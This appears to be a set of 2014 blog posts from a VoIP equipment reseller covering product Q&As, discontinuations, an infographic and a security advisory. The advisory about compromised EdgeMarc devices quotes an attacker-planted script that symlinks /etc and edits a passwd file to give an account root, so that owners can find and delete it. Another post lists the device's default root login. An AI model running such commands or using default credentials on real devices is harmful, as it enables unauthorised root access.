VoIP Supply Becomes Xorcom Certified Dealer for CompletePBX Solutions

August 22, 2014 by Nathan Miloszewski

Michael Taylor (center), VoIP Engineer at VoIP Supply Receives Xorcom Certification

We’re proud to announce that VoIP Supply is now a Xorcom Certified Dealer for Complete PBX Solutions.

Thanks to Michael Taylor (pictured above) our VoIP Engineer putting in all the hard work at the Xorcom technical training class.

We’re not sure what was harder for him the three days of in-depth training to learn all the details of Xorcom PBX installation, programming, and troubleshooting or being able to avoid all the distractions of the class location, Las Vegas.

If you’re not familiar with Xorcom the company was founded in 2004 and they focus on business telephony solutions for both VoIP and traditional PSTN. Xorcom products are based on Asterisk®, the open-source communication software used worldwide, for a flexible range of PBX solutions.

Taylor’s hands-on Xorcom training provided him with real-world application knowledge which means we that we not only provide you with the best first-level technical support but we can also help you:

Determine your communication needs and suggest the best Xorcom solution based on your line usage, infrastructure, and employee habits.
Streamline your phone system implementation process.
Ensure optimal phone up-time by securing the phone system.
Improve your overall user experience by providing communication efficiency suggestions.

Xorcom CompletePBX systems are pre-configured so they’re ready to use right out-of-the-box and they’ll give your single office/home office (SOHO), small and medium-sized business (SMB), or enterprise level applications lots of flexibility based on call management, Unified Communications (UC), and strong standard features.

Xorcom Case Study

How does a Xorcom PBX work in the real world?

This Chabot Space and Science Center case study is a good example of an application where cost and licensing fees were an issue. The customer was also going to install the solution themselves so they needed an Asterisk® solution that would work right out of the box and make calls straight away:

Extensive research into IP-based systems led Mr. dosRemedios to Asterisk®-based systems and he tried a test system, using trixbox CE and two Grandstream handsets. He liked what he was able to do, and so he looked for a turnkey system using Asterisk® at its core, and came across Xorcom and the Astribank concept. Because Mr. dosRemedios is the sole support for telephony at Chabot, his greatest concern was getting help configuring the system. So he contacted a local Xorcom reseller and soon realized that he could probably do everything himself.

Mr. dosRemedios chose a Xorcom XR2074 PBX with 1 PRI port, 8 FXO ports, and 16 FXS ports; with RAID (dual hard drive for redundancy), Rapid Recovery (for backup and restore
of the entire PBX), Yealink T20P handsets, and some premises cabling to fulfill the requirements. Deployment was performed in-house over a period of five weeks…The PBX installed without a hitch; Mr. dosRemedios connected four landlines to the FXO ports, and a couple of phones to the POE switch and was able to make calls the same day! He’s currently preparing to deploy the remaining 108 phones to run in parallel to the old PBX until the day he can move the PRI over to the Xorcom box.

Download the full case study here.

VoIP Q&A: EdgeMarc 250W Default Password and snom 300 Mounting Instructions

August 19, 2014 by Nathan Miloszewski

Questions about VoIP devices and services are regularly submitted to VoIPSupply.com through a technical support ticket or via the “Ask The Expert” tab on our product pages.

We respond to these requests directly but more often than not, this Q & A would be helpful for lots of other folks.

Below are your VoIP questions answered – Real questions from real people just like you.

Q: What is the default log in and password out of the box of the EdgeMarc 250W [Model] #250W-100-0002?

EdgeMarc 250W Enterprise Session Border Controller Handles, and Protects, up to 10 Concurrent Calls

A: The EdgeMarc 250W is an Enterprise Session Border Controller (SBC) that handles up to 10 concurrent calls, protecting them from malicious attacks. This SBC is designed for small and medium sized offices.

The default login is simply:

User Name = root
Password = default

Here’s a helpful screenshot from the EdgeMarc 250W Enterprise Session Border Controller Installation Guide:

EdgeMarc 250W Default User Name and Password

Once you’ve programmed your EdgeMarc device you’ll want to change your login credentials.

Our friends at Bandwidth alerted us of a potential problem with passwords being compromised. Read more here:

Warning: EdgeMarc Gateways and Session Border Controllers Passwords Could be Compromised

In that post there are instructions on how to tell if your password needs to be changed.

Q: I am wondering if this phone [snom 300 UC Edition] comes with the parts to mount it to the wall or if I need to get a separate wall mount kit?

snom 300 UC VoIP Phone Qualified for Microsoft Lync

A: The snom 300 UC Edition is a basic 2-line VoIP phone qualified for use with Microsoft Lync.

To answer your question, the snom 300 comes with a dual-purpose footstand that allows you to either prop the phone up on your desk, or mount it on the wall with the pre-drilled holes.

Here are two documents and a screenshot (below) that you should check out:

snom 300 Wall Mount

Stay Tuned

Check back next time for more VoIP Q & A.

Thanks for your questions!

Infographic: History of Analog Phones to VoIP

August 14, 2014 by Nathan Miloszewski

Our friends at Software Advice put together a great infographic highlighting the Life and Death of the Analog Telphone.

This pictorial history takes us through time from the humble telegraph to super-speed Voice over IP and beyond.

Designing the Analog Timeline

Craig Borowski, VoIP and telecommunications researcher at Software Advice shares some background:

The most interesting thing we learned while doing our research is the fact that the telegraph evolved into the telephone. It was fascinating to discover how that evolution took place. For example, as soon as the telegraph was invented, there were people all around the world who immediately started trying to improve it. The inventors kept making improvements in a similar fashion until it made the logical evolution into the telephone, and eventually modern-day VoIP technology.

The trickiest part with designing the timeline was how to conclude it. We felt fairly confident that the current trajectory of analog telephony points to a certain end — analog has been technologically obsolete for many decades. While we could have ended it at the present day, the FCC is showing signs of releasing big national carriers of their obligations to maintain analog systems. We felt the conclusion we chose was fitting — it really is only a matter of time. (Craig Borowski, Software Advice)

VoIP Spreading But People are Hard to Predict

Ben Sayers, CEO and founder of VoIP Supply, shares his experiences with the ongoing switch from analog to VoIP:

Ben Sayers, VoIP Supply Founder

Having been involved in telecom since 1994, I’ve seen a lot of the changes over the years.

My experience with VoIP began in 2004 when we launched VoIPSupply.com and began building VoIP solutions and helping others do the same.

Though I can’t predict the future of telecom and certainly wouldn’t put a date on it, VoIP continues to spread throughout the home and business world as it has reached a mainstream adoption phase.

There is little need for copper phone lines anymore, especially factoring in Mobile and all that it has changed over the last two decades.

With Skype and other desktop voice and video solutions having been around for such a long time without yet replacing the phone on most people’s desks, I have to expect that there is still a lot of runway remaining for fixed telecom with mobile integrations. People’s minds, habits and expectations are incredibly hard to change, including how they talk to other people. (Ben Sayers, VoIP Supply)

Here now is the infographic provided by VoIP and telecom review firm Software Advice

Aastra Discontinues 3 of Their 6700i Series Phones

August 13, 2014 by Tom Costelloe

So far 2014 has been a busy year for Aastra. In late January their acquisition by Mitel was completed and then in March they released the Aastra 6800i series of VoIP phones, which marked the first new line of desktop VoIP phones from them in quite some time. Now after a few quiet months some more changes were announced last week with the discontinuing of 3 phone models due to issues sourcing components.

Aastra 6700i

The Aastra 6757i, 6755i and 6753i were the cornerstone of Aastra and some of their most popular VoIP phones for close to a decade and with the utmost respect for these phones, I believe their time had come.

While them being put out to pasture may have been accelerated by the components issues (chipset) between the acquisition by Mitel and the release of the 6800i series phones I personally think it was a matter of when not if it was going to happen.

Again, I don’t mean this as a knock on the phones. I am fully confident that they will continue to serve their current users extremely well and would have continued to sell extremely well for Aastra; but, strictly from a line card perspective Aastra already had newer models out that not only supported newer, better, or more features but are also cheaper.

To help with the transition to alternative Aastra VoIP phone model we’ve pulled together some quick reference sheets that compare the discontinued models to those currently available from Aastra.

VoIP Supply Aastra 6753i Comparison Sheet

VoIP Supply Aastra 6755i Comparison Sheet

VoIP Supply Aastra 6757i Comparison Sheet

VoIP Q&A: Polycom SoundStation IP 5000 Conference Phone

August 7, 2014 by Nathan Miloszewski

Questions about VoIP devices and services are regularly submitted to VoIPSupply.com through a technical support ticket or via the “Ask The Expert” tab on our product pages.

We respond to these requests directly but more often than not, this Q & A would be helpful for lots of other folks.

Below are your VoIP questions answered – Real questions from real people just like you.

Q: How do you connect two calls to make a conference call [Polycom IP 5000] whether they call in or we call out?

A: The Polycom SoundStation IP 5000 Conference Phone is a 1-line SIP phone that allows you to create conferences with up to two other groups or, callers.

There’s a couple of ways to host a conference:

Use the “Confrnc” soft key (top row of buttons with functions that display on the screen above)
Or, when you already have an active call and a call on hold, use the “Join” soft key

After you set up the conference, you then have 3 options:

Place the conference call on hold
Split the conference call into two calls on hold
Hang up and end the conference call and your connection

Now that the basics are out of the way lets get to your two scenarios.

Scenario #1: Both Conference Parties Call-In

You’ll be using the “Join” soft key in this example:

When the first caller calls you, place them on hold.
When the second caller calls you, press the “Join” soft key
You’ve now just created a conference call with the second caller (active call), the first caller (the held call), and yourself (you’ve been there all along).

Scenario #2: You Call Both Parties to Set Up Conference Call

You’ll be using the “Conference” soft key in this example:

Call the first party.
Press the “Confrnc” soft key. This places this active call on hold
Dial the number of your second party
Press the “Send” soft key.
When the second party answers, press the Confrnc soft key to join all parties in the conference

Need More IP 5000 Feature Info?

For all the detailed features and functions, check out the Polycom IP 5000 User Guide.

Don’t Talk Over My Shoulder – Echo Cancellation

What’s so great about the IP 5000, it’s been around for a few years now, you ask? One reason is the echo cancellation because, as this funny Polycom vid points out, you don’t want your calls to sound like someone’s talking over your shoulder:

IP 5000 Overview

For a more detailed overview of the IP 5000, watch our video here:

Stay Tuned

Check back next time for more VoIP Q & A.

Thanks for your questions!

Updated Q&A Post about Polycom RealPresence Group 300 Video Conferencing Capabilites

by Nathan Miloszewski

I recently wrote this post, VoIP Q & A: Phoenix Audio Speakerphone and Polycom RealPresence Group 300 Video Conferencing, in which I included some misinformation about the capabilities of the Polycom RealPresence Group 300 video conferencing system.

This question had been submitted to VoIP Supply:

“Is it possible to use the Polycom Realpresence Group 300 with online services such as Skype or Go To Meeting?”

I mistakenly wrote that “yes” you can use Skype and GoToMeeting with the RealPresence Group 300 because it is standards based.

Rookie mistake.

Thankfully Michael Graves of Graves on SOHO Technology called me out on it in his post, A VoIP Supply Q&A Batting .500!.

I was confusing the Polycom RealPresence CloudAXIS Suite with “standards based.”

Click here for my original, and now updated, post and click here to read Graves’ full explanation of the differences between desktop and room-based video conferencing solutions.

Thanks again to Graves for pointing me in the right direction and helping us all get the right information!

Digium Stops Speaking English, Switches to Icon-Keys for VoIP Phones

August 2, 2014 by Nathan Miloszewski

Nothing against the English language but, there’s a new standard in town for Digium VoIP Phones.

As of November 2014 Digium will stop making new D40, D50 and D70 English-key phones.

They’re migrating to Icon-keys to “better align with the trends in the IP Phone market,” says Digium.

Currently the Digium D45 VoIP phone for Asterisk already comes with the Icon-keys, with no other versions in production.

To make things easier and help us adjust to this new standard Digium is:

Providing advanced notice
Including Icon-key guides that explain the features/functions every Icon-key phone
Fully supporting the English-key phones that are purchased up to the end-of-sale time frame through the standard Digium warranty period

If you have any questions about Digium phones, please call one of our sales reps at 800-398-8647.

How to Get Better, Smart Wi-Fi with Ruckus Wireless

July 24, 2014 by Nathan Miloszewski

Making Wi-Fi faster and cheaper are great enhancements but, how good are those qualities if the service isn’t reliable?

That’s the goal of Ruckus Wireless with their line of Smart Wi-Fi access points, bridges, and switches.

Ruckus ZoneFlex 7762-S – Industry’s first 802.11n outdoor access point featuring a long-range, high-gain smart antenna array that integrates dynamic beamforming technology.

Ruckus Webinar: “Exploiting next generation 802.11ac with smarter antennas”

Ruckus is currently hosting a series of We All Want Better Wi-Fi webinars to help educate you on how to combat inconsistent Wi-Fi performance that affects our daily productivity:

Understanding the complexities of next-generation Wi-Fi can present a challenge. An optimized 802.11ac infrastructure comes only as a result of solid wireless fundamentals, thoughtful radio design, smart antenna systems, and dynamic RF adaptation. So how can you get the most out of 11ac?

Want Better Wi-Fi is an educational Webinar Series that offers the real facts and physics necessary to achieve better Wi-Fi. Join us for these highly informative sessions to gain the knowledge you need to make the best wireless networking decisions possible.

Next up in their webinar series is:

Exploiting next generation 802.11ac with smarter antennas | Wednesday, 8AM PST, July 30th

“We all #WantBetterWiFi and the most logical step to achieving this is exploring the new 802.11ac standard. However, it’s important to understand the differences between .11ac wave 1 and .11ac wave 2, and the potential pitfalls involved in an uninformed upgrade. Fully understanding the benefits of this exciting wireless technology, both short and long term, will enable you to make solid network design and deployment decisions.”

An overview of 802.11ac
802.11ac protocol challenges
Understanding multiuser MIMO
Maximizing advanced signal modulation
The benefits of adaptive antennas with 802.11ac

VoIP Q & A: Phoenix Audio Speakerphone and Polycom RealPresence Group 300 Video Conferencing

July 23, 2014 by Nathan Miloszewski

Note: This post was updated with new information on August 6, 2014 pertaining to the Polycom video conferencing system mentioned below.

Questions about VoIP devices and services are regularly submitted to VoIPSupply.com through a technical support ticket or via the “Ask The Expert” tab on our product pages.

We respond to these requests directly but more often than not, this Q & A would be helpful for lots of other folks.

Below are your VoIP questions answered – Real questions from real people just like you.

Phoenix Audio Quattro3 USB Conference Phone

Q: Can I connect this [Phoenix Audio Quattro3 USB] to my PC and use it for a Skype call?

Your question perfectly describes the purpose of the Phoenix Audio Quattro3 USB .

From the Quattro3 datasheet:

The USB outlet allows you to connect to the computer for any VoIP sessions such as Skype, Vidyo, etc.

So, the Quattro3 will work with any computer that has a USB port. Its small size makes this speakerphone extremely portable but with its multiple microphones, echo cancellation, noise suppression, and powerful speaker you can easily use the Quattro3 in larger conference rooms.

Polycom RealPresence Group 300 EagleEye Acoustic Video Conferencing System for Small Meeting Rooms and Offices

Q: Is it possible to use the Polycom Realpresence Group 300 with online services such as Skype or Go To Meeting?

A: The Polycom RealPresence Group 300 EagleEye Acoustic is a video conferencing system that’s perfect for your office or small meeting rooms.

The beauty of the RealPresence Group 300 is that it is fully standards-based meaning, you can connect to “millions of other standards-based video systems in use today,” says Polycom.

It also works with leading Unified Communications (UC) platforms (like Microsoft Lync) so you don’t have to add any additional hardware, like expensive gateways.

UPDATE: In reference to the crossed out text about – I was wrong about the Polycom RealPresence capabilities and Michael Graves was right.

Graves correctly called me out in his post, A VoIP Supply Q&A Batting .500!:

When Polycom uses the term “standards based” they mean their product relies upon H.323 and SIP, the two most common standard protocols for VoIP and video conferencing equipment. I don’t believe that such a device can be used to join a Skype or GotoMeeting call. Neither of those services support interop with hardware end-points like the Group 300.

Read his post for a full explanation of the often confusing world of video conferencing interoperability.

I confused “standards based” with the Polycom RealPresence CloudAXIS Suite which, according to a Polycom Executive News Flash a year ago in Q1 2013, would allow RealPresence users to “invite anyone, anywhere with a browser to join reliable and secure video calls” and would be able to support “Skype, Facebook, and Google Talk for simple click-to-connect convenience…beyond the firewall for B2B and B2C connectivity.”

But, as it turns out, in addition to my misleading information, the Skype component of CloudAXIS no longer functions.

If you read the Frequently Asked Questions guide for Polycom RealPresence CloudAXIS:

Important Information Regarding Skype Integration
Microsoft announced the discontinuation of the Desktop Skype API as of January 1, 2014. This function is
critical for Skype integration with the RealPresence CloudAXIS social directory. Microsoft’s decision not only
affects Polycom but many other vendors using the API. Polycom is actively seeking an alternative way to
implement this feature but until it is determined we will have a gap in Skype support.

The CloudAXIS FAQ does mention a Skype workaround for the time being which can also be used for “virtually any messaging application”:

Is there a workaround for bringing Skype contacts into a RealPresence CloudAXIS meeting?
Yes. Although Skype contacts cannot be imported into the CloudAXIS global directory, users can still invite
Skype contacts into a CloudAXIS meeting by simply opening the Skype application on the desktop, checking
on the presence status of contacts within Skype, then copying and pasting the CloudAXIS meeting URL in the
Skype IM window with a message asking the contact to join the meeting. When the invitee receives the
message and clicks the CloudAXIS meeting link, their browser will launch and allow them to join the call. Note
that this same process can be used with virtually any messaging application.

Thank you to Michael Graves for pointing me in the right direction.

For more information and background about video conferencing options ranging from webcams to desktops to room systems, I encourage you to check out Graves’ post and these other articles:

Graves on SOHO Technology: A VoIP Supply Q&A Batting .500!
Telepresence Options: Video Calling Options: Dialing H.323/SIP From Your Desktop
Telepresence Options: Polycom’s Big Announcement: A Shotgun Blast Of Videoconferencing Advances

Warning: EdgeMarc Gateways and Session Border Controllers Passwords Could be Compromised

July 17, 2014 by Nathan Miloszewski

Our partner Bandwidth has alerted us that there is potentially a problem with the password security of EdgeMarc Gateways and Session Border Controllers (ESBC).

This might affect all EdgeMarc device owners. In short, the default Username / Password of “Root” / “Default” of these devices have been compromised.

However, if you changed your log in credentials when you programmed your EdgeMarc device then you are probably safe. If you were never prompted to change the default username / password you may not have thought to change it.

How to Tell If Your EdgeMarc Password Should be Changed and Steps to Take

From the Bandwidth announcement, here’s how to tell if you need to change your password and the steps to take:

If you are unsure if your specific device has been compromised, you can take the following steps to investigate. However, it is still highly recommended to change the password:

In the EdgeMarc GUI, under ‘System’ click on “Client List”. If there are any entries listed other than known and local IP addresses, there is a strong possibility that your device has been compromised. To resolve, remove the offending IP address.

Additionally, the following steps should be taken to to ensure a secure device:

Disable PPTP (Point-to-Point Protocol) – Under PPTP server > Username, ensure there is no user built unless it is a known user.

Disallow WAN clients – Under VoIP ALG, uncheck both the ‘allow clients on WAN’ option, as well as the ‘Enable LLDP’ option.

Verify no additional scripting has taken place, by looking under ‘User Commands’. Specifically, if the following script is present, it will need to be deleted:

ln -sf /etc /etc/images/m.txt
chmod 777 /etc/images/m.txt/config/passwd
sed -i -e s’_'”501″‘_'”0″‘_’ /etc/images/m.txt/config/passwd
sed -i -e s’_'”501″‘_'”0″‘_’ /etc/images/m.txt/config/passwd
sed -i -e s’_'”/etc/images”‘_'”/”‘_’ /etc/images/m.txt/config/passwd

Note: Some EdgeMarc screens within the GUI save changes while you’re making them, and others require you to hit a ‘submit’ button. Please take note of this while making your changes.

Need EdgeMarc Help?

Thank you to Bandwidth for bringing this problem to our attention.

If the above information did not help you and you still have concerns, please call us at 800-398-8647.

VoIP Supply Becomes Xorcom Certified Dealer for CompletePBX Solutions

Xorcom Case Study

VoIP Q&A: EdgeMarc 250W Default Password and snom 300 Mounting Instructions

Stay Tuned

Infographic: History of Analog Phones to VoIP

Designing the Analog Timeline

VoIP Spreading But People are Hard to Predict

Aastra Discontinues 3 of Their 6700i Series Phones

VoIP Q&A: Polycom SoundStation IP 5000 Conference Phone

Need More IP 5000 Feature Info?

Don’t Talk Over My Shoulder – Echo Cancellation

IP 5000 Overview

Stay Tuned

Updated Q&A Post about Polycom RealPresence Group 300 Video Conferencing Capabilites

Digium Stops Speaking English, Switches to Icon-Keys for VoIP Phones

How to Get Better, Smart Wi-Fi with Ruckus Wireless

Ruckus Webinar: “Exploiting next generation 802.11ac with smarter antennas”

VoIP Q & A: Phoenix Audio Speakerphone and Polycom RealPresence Group 300 Video Conferencing

UPDATE: In reference to the crossed out text about – I was wrong about the Polycom RealPresence capabilities and Michael Graves was right.

Warning: EdgeMarc Gateways and Session Border Controllers Passwords Could be Compromised

How to Tell If Your EdgeMarc Password Should be Changed and Steps to Take

Need EdgeMarc Help?

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